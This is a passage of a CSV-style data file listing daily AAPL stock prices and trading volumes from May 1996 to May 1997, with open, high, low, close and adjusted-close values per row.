-1996-05-15,0.9955357313156128,1.03125,0.9910714030265808,1.0178571939468384,0.8856388330459595,73091200.0,AAPL -1996-05-16,1.0089285373687744,1.0223214626312256,0.9955357313156128,1.0133928060531616,0.8817540407180786,32519200.0,AAPL -1996-05-17,1.0133928060531616,1.0133928060531616,0.9821428656578064,0.9866071343421936,0.8584477305412292,30825200.0,AAPL -1996-05-20,0.9955357313156128,1.0044642686843872,0.9866071343421936,0.9977678656578064,0.8681586980819702,21128800.0,AAPL -1996-05-21,1.0,1.0044642686843872,0.96875,0.96875,0.8429102301597595,28596400.0,AAPL -1996-05-22,0.9776785969734192,0.9776785969734192,0.9196428656578064,0.9308035969734192,0.8098929524421692,50470000.0,AAPL -1996-05-23,0.9330357313156128,0.9508928656578064,0.9196428656578064,0.9375,0.815719723701477,31012800.0,AAPL -1996-05-24,0.9375,0.9598214030265808,0.9330357313156128,0.9553571343421936,0.8312572240829468,28310800.0,AAPL -1996-05-28,0.9553571343421936,0.9732142686843872,0.9419642686843872,0.9419642686843872,0.8196040391921997,25463200.0,AAPL -1996-05-29,0.9375,0.9375,0.8839285969734192,0.8883928656578064,0.7729914784431458,54880000.0,AAPL -1996-05-30,0.8883928656578064,0.9196428656578064,0.8839285969734192,0.9107142686843872,0.7924133539199829,25866400.0,AAPL -1996-05-31,0.9151785969734192,0.9508928656578064,0.9107142686843872,0.9330357313156128,0.8118351101875305,40661600.0,AAPL -1996-06-03,0.9241071343421936,0.9285714030265808,0.8839285969734192,0.8839285969734192,0.7691071629524231,31365600.0,AAPL -1996-06-04,0.8571428656578064,0.8705357313156128,0.8526785969734192,0.8638392686843872,0.7516274452209473,190559600.0,AAPL -1996-06-05,0.90625,0.9107142686843872,0.8660714030265808,0.8973214030265808,0.7807601690292358,127526000.0,AAPL -1996-06-06,0.8928571343421936,0.9017857313156128,0.8616071343421936,0.8660714030265808,0.7535696029663086,90524000.0,AAPL -1996-06-07,0.8571428656578064,0.8705357313156128,0.8392857313156128,0.8705357313156128,0.7574540972709656,66942400.0,AAPL -1996-06-10,0.8705357313156128,0.875,0.8571428656578064,0.8616071343421936,0.7496851682662964,26591600.0,AAPL -1996-06-11,0.8660714030265808,0.8660714030265808,0.8571428656578064,0.8571428656578064,0.7458008527755737,38264800.0,AAPL -1996-06-12,0.875,0.875,0.8571428656578064,0.8660714030265808,0.7535696029663086,37979200.0,AAPL -1996-06-13,0.8705357313156128,0.8900669813156128,0.8571428656578064,0.8794642686843872,0.7652228474617004,47854800.0,AAPL -1996-06-14,0.8839285969734192,0.8839285969734192,0.8526785969734192,0.8549107313156128,0.7438586950302124,36240400.0,AAPL -1996-06-17,0.8616071343421936,0.8616071343421936,0.84375,0.84375,0.7341476678848267,28232400.0,AAPL -1996-06-18,0.84375,0.8482142686843872,0.8080357313156128,0.8125,0.7069570422172546,55806800.0,AAPL -1996-06-19,0.8258928656578064,0.8348214030265808,0.8080357313156128,0.8258928656578064,0.7186100482940674,33616800.0,AAPL -1996-06-20,0.8348214030265808,0.8348214030265808,0.8035714030265808,0.8125,0.7069570422172546,36772400.0,AAPL -1996-06-21,0.8169642686843872,0.8169642686843872,0.7991071343421936,0.8080357313156128,0.703072726726532,40462800.0,AAPL -1996-06-24,0.8080357313156128,0.8080357313156128,0.7901785969734192,0.7946428656578064,0.6914195418357849,30690800.0,AAPL -1996-06-25,0.7901785969734192,0.7946428656578064,0.7276785969734192,0.7366071343421936,0.6409225463867188,61740000.0,AAPL -1996-06-26,0.7366071343421936,0.7410714030265808,0.7008928656578064,0.7098214030265808,0.6176163554191589,101082800.0,AAPL -1996-06-27,0.7142857313156128,0.75,0.7053571343421936,0.7366071343421936,0.6409225463867188,57310400.0,AAPL -1996-06-28,0.7455357313156128,0.75,0.7366071343421936,0.75,0.652575671672821,28921200.0,AAPL -1996-07-01,0.7544642686843872,0.7678571343421936,0.75,0.7678571343421936,0.6681132912635803,32995200.0,AAPL -1996-07-02,0.7633928656578064,0.7678571343421936,0.75,0.75,0.652575671672821,22251600.0,AAPL -1996-07-03,0.7276785969734192,0.7276785969734192,0.6919642686843872,0.6919642686843872,0.6020786762237549,72153200.0,AAPL -1996-07-05,0.6919642686843872,0.7053571343421936,0.6875,0.6964285969734192,0.6059631109237671,26538400.0,AAPL -1996-07-08,0.7008928656578064,0.7098214030265808,0.6785714030265808,0.6830357313156128,0.5943098664283752,47227600.0,AAPL -1996-07-09,0.6964285969734192,0.7008928656578064,0.6785714030265808,0.6785714030265808,0.5904255509376526,46956000.0,AAPL -1996-07-10,0.6830357313156128,0.6964285969734192,0.6696428656578064,0.6696428656578064,0.582656979560852,42347200.0,AAPL -1996-07-11,0.6696428656578064,0.6741071343421936,0.6205357313156128,0.6383928656578064,0.5554664134979248,72788800.0,AAPL -1996-07-12,0.65625,0.65625,0.6160714030265808,0.6450892686843872,0.5612925887107849,67247600.0,AAPL -1996-07-15,0.6473214030265808,0.6473214030265808,0.6116071343421936,0.6138392686843872,0.5341020822525024,33306000.0,AAPL -1996-07-16,0.6205357313156128,0.6205357313156128,0.5714285969734192,0.6026785969734192,0.5243910551071167,72304400.0,AAPL -1996-07-17,0.6205357313156128,0.625,0.59375,0.6026785969734192,0.5243910551071167,58399600.0,AAPL -1996-07-18,0.7678571343421936,0.7767857313156128,0.7271205186843872,0.7455357313156128,0.6486913561820984,224263200.0,AAPL -1996-07-19,0.7455357313156128,0.75,0.7410714030265808,0.7410714030265808,0.6448068022727966,66494400.0,AAPL -1996-07-22,0.7455357313156128,0.7455357313156128,0.7142857313156128,0.7232142686843872,0.6292695999145508,38052000.0,AAPL -1996-07-23,0.7321428656578064,0.7366071343421936,0.7232142686843872,0.7321428656578064,0.6370381116867065,32530400.0,AAPL -1996-07-24,0.7142857313156128,0.75,0.7098214030265808,0.7433035969734192,0.6467491984367371,66018400.0,AAPL -1996-07-25,0.7544642686843872,0.7633928656578064,0.7410714030265808,0.75,0.652575671672821,28607600.0,AAPL -1996-07-26,0.7678571343421936,0.7857142686843872,0.7544642686843872,0.7857142686843872,0.6836507320404053,30920400.0,AAPL -1996-07-29,0.7857142686843872,0.8035714030265808,0.7767857313156128,0.7946428656578064,0.6914195418357849,48924400.0,AAPL -1996-07-30,0.8080357313156128,0.8125,0.7589285969734192,0.7633928656578064,0.6642288565635681,47350800.0,AAPL -1996-07-31,0.7589285969734192,0.7857142686843872,0.7589285969734192,0.7857142686843872,0.6836507320404053,23195200.0,AAPL -1996-08-01,0.7857142686843872,0.7857142686843872,0.7544642686843872,0.7589285969734192,0.6603444814682007,27540800.0,AAPL -1996-08-02,0.7723214030265808,0.7857142686843872,0.7589285969734192,0.7723214030265808,0.6719975471496582,31987200.0,AAPL -1996-08-05,0.7723214030265808,0.78125,0.7455357313156128,0.75,0.652575671672821,25253200.0,AAPL -1996-08-06,0.75,0.7678571343421936,0.7410714030265808,0.7678571343421936,0.6681132912635803,23396800.0,AAPL -1996-08-07,0.7767857313156128,0.8080357313156128,0.7723214030265808,0.7991071343421936,0.6953038573265076,62115200.0,AAPL -1996-08-08,0.7991071343421936,0.7991071343421936,0.78125,0.7901785969734192,0.6875352263450623,25379200.0,AAPL -1996-08-09,0.7946428656578064,0.8348214030265808,0.7901785969734192,0.8258928656578064,0.7186100482940674,57696800.0,AAPL -1996-08-12,0.8348214030265808,0.84375,0.7991071343421936,0.8214285969734192,0.7147256135940552,37836400.0,AAPL -1996-08-13,0.8169642686843872,0.8258928656578064,0.7991071343421936,0.8035714030265808,0.6991884112358093,25877600.0,AAPL -1996-08-14,0.8080357313156128,0.8214285969734192,0.8080357313156128,0.8125,0.7069570422172546,17964800.0,AAPL -1996-08-15,0.8080357313156128,0.8125,0.7946428656578064,0.7946428656578064,0.6914195418357849,26905200.0,AAPL -1996-08-16,0.8080357313156128,0.8080357313156128,0.7901785969734192,0.8035714030265808,0.6991884112358093,35439600.0,AAPL -1996-08-19,0.7991071343421936,0.84375,0.7991071343421936,0.84375,0.7341476678848267,56579600.0,AAPL -1996-08-20,0.8526785969734192,0.8526785969734192,0.8348214030265808,0.8392857313156128,0.7302632927894592,52939600.0,AAPL -1996-08-21,0.8392857313156128,0.84375,0.8169642686843872,0.8214285969734192,0.7147256135940552,28336000.0,AAPL -1996-08-22,0.8214285969734192,0.8303571343421936,0.8169642686843872,0.8303571343421936,0.7224945425987244,21921200.0,AAPL -1996-08-23,0.8214285969734192,0.8571428656578064,0.8214285969734192,0.8526785969734192,0.7419164180755615,50864800.0,AAPL -1996-08-26,0.8526785969734192,0.8616071343421936,0.8392857313156128,0.8616071343421936,0.7496851682662964,22419600.0,AAPL -1996-08-27,0.8616071343421936,0.8928571343421936,0.8571428656578064,0.8878348469734192,0.7725059986114502,72326800.0,AAPL -1996-08-28,0.8883928656578064,0.8928571343421936,0.875,0.8883928656578064,0.7729914784431458,40899600.0,AAPL -1996-08-29,0.8883928656578064,0.8883928656578064,0.8705357313156128,0.875,0.7613382935523987,26731600.0,AAPL -1996-08-30,0.8839285969734192,0.8839285969734192,0.8660714030265808,0.8660714030265808,0.7535696029663086,26432000.0,AAPL -1996-09-03,0.8616071343421936,0.8705357313156128,0.8526785969734192,0.8616071343421936,0.7496851682662964,17074400.0,AAPL -1996-09-04,0.8526785969734192,0.8794642686843872,0.8526785969734192,0.8616071343421936,0.7496851682662964,25362400.0,AAPL -1996-09-05,0.8392857313156128,0.8482142686843872,0.8169642686843872,0.8169642686843872,0.7108415365219116,69896400.0,AAPL -1996-09-06,0.8258928656578064,0.8303571343421936,0.8080357313156128,0.8214285969734192,0.7147256135940552,60208400.0,AAPL -1996-09-09,0.8080357313156128,0.8125,0.78125,0.7857142686843872,0.6836507320404053,37060800.0,AAPL -1996-09-10,0.7901785969734192,0.7901785969734192,0.7678571343421936,0.7678571343421936,0.6681132912635803,38928400.0,AAPL -1996-09-11,0.7678571343421936,0.7767857313156128,0.75,0.7544642686843872,0.656460165977478,36800400.0,AAPL -1996-09-12,0.75,0.7544642686843872,0.7232142686843872,0.7276785969734192,0.6331538558006287,65228800.0,AAPL -1996-09-13,0.7276785969734192,0.7589285969734192,0.7276785969734192,0.75,0.652575671672821,41652800.0,AAPL -1996-09-16,0.7678571343421936,0.8214285969734192,0.7633928656578064,0.7991071343421936,0.6953038573265076,61163200.0,AAPL -1996-09-17,0.8169642686843872,0.8258928656578064,0.8035714030265808,0.8214285969734192,0.7147256135940552,52292800.0,AAPL -1996-09-18,0.8214285969734192,0.8616071343421936,0.8169642686843872,0.8392857313156128,0.7302632927894592,88340000.0,AAPL -1996-09-19,0.84375,0.84375,0.8348214030265808,0.8348214030265808,0.7263789176940918,29867600.0,AAPL -1996-09-20,0.8348214030265808,0.8392857313156128,0.8125,0.8169642686843872,0.7108415365219116,37287600.0,AAPL -1996-09-23,0.8169642686843872,0.8169642686843872,0.7991071343421936,0.7991071343421936,0.6953038573265076,11440800.0,AAPL -1996-09-24,0.7991071343421936,0.8169642686843872,0.7991071343421936,0.8035714030265808,0.6991884112358093,35946400.0,AAPL -1996-09-25,0.8035714030265808,0.8080357313156128,0.7857142686843872,0.7991071343421936,0.6953038573265076,27260800.0,AAPL -1996-09-26,0.7991071343421936,0.8035714030265808,0.7946428656578064,0.7991071343421936,0.6953038573265076,25821600.0,AAPL -1996-09-27,0.7946428656578064,0.7991071343421936,0.7901785969734192,0.796875,0.6933616995811462,20392400.0,AAPL -1996-09-30,0.7901785969734192,0.7991071343421936,0.7901785969734192,0.7924107313156128,0.6894772052764893,21361200.0,AAPL -1996-10-01,0.7857142686843872,0.8839285969734192,0.7857142686843872,0.8794642686843872,0.7652228474617004,134811600.0,AAPL -1996-10-02,0.84375,0.8794642686843872,0.8258928656578064,0.84375,0.7341476678848267,69204800.0,AAPL -1996-10-03,0.84375,0.8482142686843872,0.7991071343421936,0.7991071343421936,0.6953038573265076,56929600.0,AAPL -1996-10-04,0.8169642686843872,0.8258928656578064,0.7901785969734192,0.8147321343421936,0.708899199962616,33364800.0,AAPL -1996-10-07,0.8214285969734192,0.8348214030265808,0.8169642686843872,0.8258928656578064,0.7186100482940674,23928800.0,AAPL -1996-10-08,0.8392857313156128,0.8660714030265808,0.8303571343421936,0.8303571343421936,0.7224945425987244,47608400.0,AAPL -1996-10-09,0.8348214030265808,0.84375,0.8169642686843872,0.8214285969734192,0.7147256135940552,21302400.0,AAPL -1996-10-10,0.8526785969734192,0.875,0.8482142686843872,0.8638392686843872,0.7516274452209473,69174000.0,AAPL -1996-10-11,0.8705357313156128,0.8794642686843872,0.8571428656578064,0.8660714030265808,0.7535696029663086,30172800.0,AAPL -1996-10-14,0.875,0.90625,0.8660714030265808,0.9017857313156128,0.784644603729248,67421200.0,AAPL -1996-10-15,0.9196428656578064,0.9241071343421936,0.8928571343421936,0.9017857313156128,0.784644603729248,90764800.0,AAPL -1996-10-16,0.9017857313156128,0.9330357313156128,0.8794642686843872,0.9196428656578064,0.8001821637153625,83686400.0,AAPL -1996-10-17,0.9821428656578064,0.9910714030265808,0.9419642686843872,0.9419642686843872,0.8196040391921997,256656400.0,AAPL -1996-10-18,0.9464285969734192,0.9508928656578064,0.9285714030265808,0.9486607313156128,0.8254305124282837,95664800.0,AAPL -1996-10-21,0.9464285969734192,0.9508928656578064,0.9107142686843872,0.9151785969734192,0.7962977290153503,46902800.0,AAPL -1996-10-22,0.9151785969734192,0.9151785969734192,0.8660714030265808,0.8883928656578064,0.7729914784431458,53429600.0,AAPL -1996-10-23,0.8839285969734192,0.9017857313156128,0.8705357313156128,0.8839285969734192,0.7691071629524231,40014800.0,AAPL -1996-10-24,0.8928571343421936,0.8928571343421936,0.875,0.8839285969734192,0.7691071629524231,21092400.0,AAPL -1996-10-25,0.8883928656578064,0.8928571343421936,0.875,0.875,0.7613382935523987,19390000.0,AAPL -1996-10-28,0.8973214030265808,0.8973214030265808,0.875,0.875,0.7613382935523987,29999200.0,AAPL -1996-10-29,0.8794642686843872,0.8839285969734192,0.8258928656578064,0.8303571343421936,0.7224945425987244,49907200.0,AAPL -1996-10-30,0.8392857313156128,0.8571428656578064,0.8169642686843872,0.8169642686843872,0.7108415365219116,64262800.0,AAPL -1996-10-31,0.8303571343421936,0.8348214030265808,0.7946428656578064,0.8214285969734192,0.7147256135940552,48554800.0,AAPL -1996-11-01,0.8348214030265808,0.8660714030265808,0.8258928656578064,0.8660714030265808,0.7535696029663086,52833200.0,AAPL -1996-11-04,0.8705357313156128,0.875,0.8482142686843872,0.8705357313156128,0.7574540972709656,22817200.0,AAPL -1996-11-05,0.875,0.9241071343421936,0.875,0.9107142686843872,0.7924133539199829,94528000.0,AAPL -1996-11-06,0.9151785969734192,0.9196428656578064,0.8883928656578064,0.9107142686843872,0.7924133539199829,45077200.0,AAPL -1996-11-07,0.90625,0.9285714030265808,0.9017857313156128,0.9241071343421936,0.8040664792060852,38768800.0,AAPL -1996-11-08,0.9241071343421936,0.9375,0.9196428656578064,0.9375,0.815719723701477,47177200.0,AAPL -1996-11-11,0.9419642686843872,0.9419642686843872,0.9241071343421936,0.9285714030265808,0.8079507946968079,23133600.0,AAPL -1996-11-12,0.9330357313156128,0.9375,0.8973214030265808,0.9017857313156128,0.784644603729248,35739200.0,AAPL -1996-11-13,0.90625,0.9241071343421936,0.8928571343421936,0.9129464030265808,0.7943555116653442,20902000.0,AAPL -1996-11-14,0.9107142686843872,0.9196428656578064,0.90625,0.9151785969734192,0.7962977290153503,12132400.0,AAPL -1996-11-15,0.9241071343421936,0.9285714030265808,0.8928571343421936,0.8928571343421936,0.7768757343292236,32678800.0,AAPL -1996-11-18,0.8928571343421936,0.8973214030265808,0.875,0.8839285969734192,0.7691071629524231,38208800.0,AAPL -1996-11-19,0.8883928656578064,0.8973214030265808,0.8794642686843872,0.8883928656578064,0.7729914784431458,31108000.0,AAPL -1996-11-20,0.8883928656578064,0.90625,0.8883928656578064,0.8928571343421936,0.7768757343292236,25774000.0,AAPL -1996-11-21,0.8883928656578064,0.8928571343421936,0.8705357313156128,0.875,0.7613382935523987,17651200.0,AAPL -1996-11-22,0.875,0.9017857313156128,0.875,0.9017857313156128,0.784644603729248,25995200.0,AAPL -1996-11-25,0.90625,0.9107142686843872,0.8928571343421936,0.8928571343421936,0.7768757343292236,19737200.0,AAPL -1996-11-26,0.8883928656578064,0.8928571343421936,0.8571428656578064,0.8660714030265808,0.7535696029663086,28246400.0,AAPL -1996-11-27,0.8616071343421936,0.8794642686843872,0.8616071343421936,0.875,0.7613382935523987,22260000.0,AAPL -1996-11-29,0.875,0.8794642686843872,0.8571428656578064,0.8616071343421936,0.7496851682662964,10572800.0,AAPL -1996-12-02,0.8616071343421936,0.8973214030265808,0.8526785969734192,0.8973214030265808,0.7807601690292358,43744400.0,AAPL -1996-12-03,0.9017857313156128,0.9107142686843872,0.8928571343421936,0.8973214030265808,0.7807601690292358,68882800.0,AAPL -1996-12-04,0.8973214030265808,0.90625,0.8883928656578064,0.8928571343421936,0.7768757343292236,47706400.0,AAPL -1996-12-05,0.8928571343421936,0.9017857313156128,0.8928571343421936,0.8928571343421936,0.7768757343292236,35534800.0,AAPL -1996-12-06,0.8705357313156128,0.90625,0.8571428656578064,0.8973214030265808,0.7807601690292358,57346800.0,AAPL -1996-12-09,0.9017857313156128,0.90625,0.8861607313156128,0.8928571343421936,0.7768757343292236,39662000.0,AAPL -1996-12-10,0.8883928656578064,0.8928571343421936,0.8660714030265808,0.875,0.7613382935523987,46071200.0,AAPL -1996-12-11,0.8482142686843872,0.8660714030265808,0.8482142686843872,0.8571428656578064,0.7458008527755737,40840800.0,AAPL -1996-12-12,0.8616071343421936,0.8660714030265808,0.8526785969734192,0.8526785969734192,0.7419164180755615,21750400.0,AAPL -1996-12-13,0.8482142686843872,0.8526785969734192,0.8303571343421936,0.8303571343421936,0.7224945425987244,22274000.0,AAPL -1996-12-16,0.8392857313156128,0.8392857313156128,0.8035714030265808,0.8080357313156128,0.703072726726532,37310000.0,AAPL -1996-12-17,0.7991071343421936,0.8035714030265808,0.7946428656578064,0.8035714030265808,0.6991884112358093,39312000.0,AAPL -1996-12-18,0.8125,0.8258928656578064,0.8080357313156128,0.8258928656578064,0.7186100482940674,51268000.0,AAPL -1996-12-19,0.8214285969734192,0.8303571343421936,0.7946428656578064,0.7946428656578064,0.6914195418357849,34221600.0,AAPL -1996-12-20,0.8035714030265808,0.84375,0.7633928656578064,0.8392857313156128,0.7302632927894592,136609200.0,AAPL -1996-12-23,0.8571428656578064,0.8660714030265808,0.8303571343421936,0.8303571343421936,0.7224945425987244,83076000.0,AAPL -1996-12-24,0.8303571343421936,0.8348214030265808,0.8169642686843872,0.8258928656578064,0.7186100482940674,14403200.0,AAPL -1996-12-26,0.8303571343421936,0.8303571343421936,0.8169642686843872,0.8214285969734192,0.7147256135940552,21221200.0,AAPL -1996-12-27,0.8169642686843872,0.8482142686843872,0.8169642686843872,0.8258928656578064,0.7186100482940674,34249600.0,AAPL -1996-12-30,0.8258928656578064,0.8303571343421936,0.7767857313156128,0.7767857313156128,0.6758819818496704,65450000.0,AAPL -1996-12-31,0.7633928656578064,0.7678571343421936,0.7410714030265808,0.7455357313156128,0.6486913561820984,95936400.0,AAPL -1997-01-02,0.7544642686843872,0.7589285969734192,0.7410714030265808,0.75,0.652575671672821,35778400.0,AAPL -1997-01-03,0.7544642686843872,0.7946428656578064,0.75,0.7767857313156128,0.6758819818496704,29929200.0,AAPL -1997-01-06,0.6294642686843872,0.6551339030265808,0.6160714030265808,0.6383928656578064,0.5554664134979248,470708000.0,AAPL -1997-01-07,0.6473214030265808,0.6517857313156128,0.625,0.625,0.5438131093978882,244232800.0,AAPL -1997-01-08,0.6517857313156128,0.65625,0.6205357313156128,0.6294642686843872,0.5476974844932556,275032800.0,AAPL -1997-01-09,0.6339285969734192,0.6383928656578064,0.625,0.6339285969734192,0.5515819191932678,111664000.0,AAPL -1997-01-10,0.6294642686843872,0.6517857313156128,0.6294642686843872,0.6517857313156128,0.5671194195747375,88429600.0,AAPL -1997-01-13,0.6607142686843872,0.6607142686843872,0.6473214030265808,0.6473214030265808,0.5632350444793701,76437200.0,AAPL -1997-01-14,0.65625,0.65625,0.6339285969734192,0.6383928656578064,0.5554664134979248,63943600.0,AAPL -1997-01-15,0.6428571343421936,0.6428571343421936,0.6116071343421936,0.6160714030265808,0.5360442996025085,108273200.0,AAPL -1997-01-16,0.6116071343421936,0.6116071343421936,0.59375,0.5982142686843872,0.5205066800117493,167826400.0,AAPL -1997-01-17,0.5982142686843872,0.6116071343421936,0.59375,0.5982142686843872,0.5205066800117493,81286800.0,AAPL -1997-01-20,0.6026785969734192,0.6116071343421936,0.5982142686843872,0.6049107313156128,0.5263333916664124,72906400.0,AAPL -1997-01-21,0.6071428656578064,0.6160714030265808,0.6026785969734192,0.6160714030265808,0.5360442996025085,71206800.0,AAPL -1997-01-22,0.6205357313156128,0.625,0.6071428656578064,0.6138392686843872,0.5341020822525024,51405200.0,AAPL -1997-01-23,0.6160714030265808,0.6205357313156128,0.6116071343421936,0.6160714030265808,0.5360442996025085,43086400.0,AAPL -1997-01-24,0.6160714030265808,0.6160714030265808,0.6026785969734192,0.6026785969734192,0.5243910551071167,47070800.0,AAPL -1997-01-27,0.6116071343421936,0.6160714030265808,0.59375,0.59375,0.5166224837303162,53510800.0,AAPL -1997-01-28,0.6071428656578064,0.6071428656578064,0.5892857313156128,0.59375,0.5166224837303162,52640000.0,AAPL -1997-01-29,0.59375,0.5982142686843872,0.5892857313156128,0.59375,0.5166224837303162,37926000.0,AAPL -1997-01-30,0.5982142686843872,0.5982142686843872,0.5892857313156128,0.5982142686843872,0.5205066800117493,34983200.0,AAPL -1997-01-31,0.59375,0.59375,0.5892857313156128,0.59375,0.5166224837303162,49907200.0,AAPL -1997-02-03,0.6026785969734192,0.6071428656578064,0.5803571343421936,0.5825892686843872,0.50691157579422,92027600.0,AAPL -1997-02-04,0.5803571343421936,0.5848214030265808,0.5401785969734192,0.5491071343421936,0.47777873277664185,178161200.0,AAPL -1997-02-05,0.5446428656578064,0.5580357313156128,0.5446428656578064,0.5446428656578064,0.473894327878952,98621600.0,AAPL -1997-02-06,0.5446428656578064,0.5758928656578064,0.5446428656578064,0.5714285969734192,0.49720048904418945,99876000.0,AAPL -1997-02-07,0.5892857313156128,0.5892857313156128,0.5625,0.5647321343421936,0.49137386679649353,58816800.0,AAPL -1997-02-10,0.5758928656578064,0.5758928656578064,0.5580357313156128,0.5580357313156128,0.48554739356040955,46351200.0,AAPL -1997-02-11,0.5669642686843872,0.5714285969734192,0.5535714030265808,0.5602678656578064,0.48748964071273804,35019600.0,AAPL -1997-02-12,0.5625,0.5669642686843872,0.5535714030265808,0.5625,0.48943185806274414,44066400.0,AAPL -1997-02-13,0.5625,0.5758928656578064,0.5535714030265808,0.5758928656578064,0.5010849833488464,48958000.0,AAPL -1997-02-14,0.5803571343421936,0.5848214030265808,0.5714285969734192,0.5825892686843872,0.50691157579422,59312400.0,AAPL -1997-02-18,0.59375,0.6383928656578064,0.5803571343421936,0.6383928656578064,0.5554664134979248,92069600.0,AAPL -1997-02-19,0.6383928656578064,0.6383928656578064,0.6116071343421936,0.6294642686843872,0.5476974844932556,60323200.0,AAPL -1997-02-20,0.6294642686843872,0.6294642686843872,0.6071428656578064,0.6071428656578064,0.5282755494117737,31236800.0,AAPL -1997-02-21,0.6026785969734192,0.6071428656578064,0.5714285969734192,0.5848214030265808,0.5088536143302917,52771600.0,AAPL -1997-02-24,0.5803571343421936,0.6026785969734192,0.5803571343421936,0.59375,0.5166224837303162,29397200.0,AAPL -1997-02-25,0.6071428656578064,0.6205357313156128,0.6026785969734192,0.6026785969734192,0.5243910551071167,34521200.0,AAPL -1997-02-26,0.6071428656578064,0.6116071343421936,0.5982142686843872,0.6116071343421936,0.5321599841117859,25793600.0,AAPL -1997-02-27,0.6071428656578064,0.6116071343421936,0.5982142686843872,0.6071428656578064,0.5282755494117737,25748800.0,AAPL -1997-02-28,0.6026785969734192,0.6026785969734192,0.5803571343421936,0.5803571343421936,0.5049692988395691,30469600.0,AAPL -1997-03-03,0.5892857313156128,0.5892857313156128,0.5714285969734192,0.5758928656578064,0.5010849833488464,32614400.0,AAPL -1997-03-04,0.5803571343421936,0.5892857313156128,0.5714285969734192,0.5892857313156128,0.5127379298210144,25799200.0,AAPL -1997-03-05,0.59375,0.6071428656578064,0.5892857313156128,0.6071428656578064,0.5282755494117737,24040800.0,AAPL -1997-03-06,0.6071428656578064,0.6071428656578064,0.5892857313156128,0.59375,0.5166224837303162,29072400.0,AAPL -1997-03-07,0.5982142686843872,0.5982142686843872,0.5848214030265808,0.5892857313156128,0.5127379298210144,17654000.0,AAPL -1997-03-10,0.59375,0.5982142686843872,0.5870535969734192,0.59375,0.5166224837303162,24796800.0,AAPL -1997-03-11,0.59375,0.59375,0.5714285969734192,0.5848214030265808,0.5088536143302917,24626000.0,AAPL -1997-03-12,0.5803571343421936,0.5982142686843872,0.5758928656578064,0.5803571343421936,0.5049692988395691,17749200.0,AAPL -1997-03-13,0.5848214030265808,0.5848214030265808,0.5758928656578064,0.5848214030265808,0.5088536143302917,26272400.0,AAPL -1997-03-14,0.5848214030265808,0.5982142686843872,0.5803571343421936,0.5915178656578064,0.5146803855895996,57604400.0,AAPL -1997-03-17,0.5803571343421936,0.5892857313156128,0.5714285969734192,0.5892857313156128,0.5127379298210144,48188000.0,AAPL -1997-03-18,0.5848214030265808,0.5892857313156128,0.5758928656578064,0.5803571343421936,0.5049692988395691,31768800.0,AAPL -1997-03-19,0.5848214030265808,0.5848214030265808,0.5669642686843872,0.5758928656578064,0.5010849833488464,52057600.0,AAPL -1997-03-20,0.5714285969734192,0.625,0.5669642686843872,0.6160714030265808,0.5360442996025085,79259600.0,AAPL -1997-03-21,0.625,0.625,0.5848214030265808,0.59375,0.5166224837303162,34115200.0,AAPL -1997-03-24,0.5892857313156128,0.59375,0.5803571343421936,0.5892857313156128,0.5127379298210144,17805200.0,AAPL -1997-03-25,0.59375,0.59375,0.57421875,0.5892857313156128,0.5127379298210144,28140000.0,AAPL -1997-03-26,0.5848214030265808,0.6026785969734192,0.5803571343421936,0.5982142686843872,0.5205066800117493,26709200.0,AAPL -1997-03-27,0.625,0.6875,0.6160714030265808,0.6651785969734192,0.5787724256515503,284726400.0,AAPL -1997-03-31,0.6651785969734192,0.6919642686843872,0.6160714030265808,0.6517857313156128,0.5671194195747375,242561200.0,AAPL -1997-04-01,0.6294642686843872,0.6361607313156128,0.6205357313156128,0.625,0.5438131093978882,55064800.0,AAPL -1997-04-02,0.6383928656578064,0.6450892686843872,0.6294642686843872,0.6428571343421936,0.5593505501747131,55608000.0,AAPL -1997-04-03,0.6607142686843872,0.6830357313156128,0.6517857313156128,0.6741071343421936,0.5865411758422852,137214000.0,AAPL -1997-04-04,0.6830357313156128,0.7008928656578064,0.6785714030265808,0.6875,0.5981944799423218,118812400.0,AAPL -1997-04-07,0.7053571343421936,0.7098214030265808,0.6875,0.6964285969734192,0.6059631109237671,63814800.0,AAPL -1997-04-08,0.7008928656578064,0.7008928656578064,0.6651785969734192,0.6830357313156128,0.5943098664283752,48456800.0,AAPL -1997-04-09,0.6875,0.6875,0.6741071343421936,0.6785714030265808,0.5904255509376526,61247200.0,AAPL -1997-04-10,0.6785714030265808,0.6830357313156128,0.6607142686843872,0.6741071343421936,0.5865411758422852,29246000.0,AAPL -1997-04-11,0.6741071343421936,0.6741071343421936,0.6473214030265808,0.6517857313156128,0.5671194195747375,19891200.0,AAPL -1997-04-14,0.65625,0.6741071343421936,0.6428571343421936,0.6696428656578064,0.582656979560852,28089600.0,AAPL -1997-04-15,0.6830357313156128,0.6875,0.6473214030265808,0.6584821343421936,0.572945773601532,34011600.0,AAPL -1997-04-16,0.6651785969734192,0.6785714030265808,0.65625,0.6629464030265808,0.5768303275108337,21554400.0,AAPL -1997-04-17,0.6517857313156128,0.6830357313156128,0.6473214030265808,0.6785714030265808,0.5904255509376526,54866000.0,AAPL -1997-04-18,0.6830357313156128,0.6830357313156128,0.65625,0.65625,0.571003794670105,35361200.0,AAPL -1997-04-21,0.6651785969734192,0.6651785969734192,0.6428571343421936,0.6428571343421936,0.5593505501747131,22288000.0,AAPL -1997-04-22,0.6473214030265808,0.6607142686843872,0.6383928656578064,0.6607142686843872,0.5748880505561829,23662800.0,AAPL -1997-04-23,0.65625,0.6607142686843872,0.6473214030265808,0.6473214030265808,0.5632350444793701,13622000.0,AAPL -1997-04-24,0.6607142686843872,0.6607142686843872,0.6339285969734192,0.6383928656578064,0.5554664134979248,18734800.0,AAPL -1997-04-25,0.6294642686843872,0.6383928656578064,0.6205357313156128,0.625,0.5438131093978882,21845600.0,AAPL -1997-04-28,0.6339285969734192,0.6383928656578064,0.625,0.6294642686843872,0.5476974844932556,11692800.0,AAPL -1997-04-29,0.6428571343421936,0.6428571343421936,0.625,0.6316964030265808,0.5496396422386169,12938800.0,AAPL -1997-04-30,0.6071428656578064,0.6160714030265808,0.5982142686843872,0.6071428656578064,0.5282755494117737,64408400.0,AAPL -1997-05-01,0.6026785969734192,0.6116071343421936,0.5982142686843872,0.6071428656578064,0.5282755494117737,18085200.0,AAPL -1997-05-02,0.6071428656578064,0.6116071343421936,0.5982142686843872,0.6071428656578064,0.5282755494117737,25496800.0,AAPL -1997-05-05,0.6071428656578064,0.6116071343421936,0.5982142686843872,0.6071428656578064,0.5282755494117737,24623200.0,AAPL -1997-05-06,0.6071428656578064,0.6116071343421936,0.5982142686843872,0.6026785969734192,0.5243910551071167,20787200.0,AAPL -1997-05-07,0.6026785969734192,0.6071428656578064,0.5848214030265808,0.5892857313156128,0.5127379298210144,28554400.0,AAPL 